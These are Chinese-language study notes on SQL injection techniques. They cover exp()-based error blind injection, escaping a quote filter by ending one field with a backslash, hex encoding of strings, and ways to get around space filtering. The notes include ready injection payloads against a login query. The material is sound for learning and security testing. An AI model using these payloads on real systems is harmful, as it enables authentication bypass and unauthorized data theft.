基于报错的布尔盲注
条件:
只输出对错但不输出报错内容
函数
exp与cot
exp(int) 自然对数的次方
cot(int) 余切值
select if((sql语句),exp(99999999),0)
根据是否报错来确定(sql语句)表达式的对错
通过一位一位判断来爆出结果
属于布尔盲注范畴
过滤
过滤 单引号
逃逸出攻击语句
php语句
sql=select * form users where username='$POST["name"]' and password ='$_POST["pwd"]';
如果能同时传值给name和pwd
那么
name=admin\
pwd= and 1=1 #
拼接后
sql= select * form users where username='admin\' and password ='and 1=1 #';
成功令后一个pwd的引号与name的引号闭合
逃逸出攻击语句
构造查询语句
攻击语句中用hex来写字符串
1个字符对应2位hex
0x616263=abc=unhex(616263)=unhex(hex(6382179))=unhex(hex(6e6+381279))
用科学计数法摆脱长度的限制
hex(int num) 把num 转称hex
hex('a') 把'a'转成61
unhex() 把hex转成字符串
效果:
mysql> select 0x616263313233;
+----------------+
| 0x616263313233 |
+----------------+
| abc123 |
+----------------+
1 row in set (0.00 sec)
网站:CyberChef
过滤空格
用
注释符/*zhuba*/
()
tab
换行符(回车)
代替空格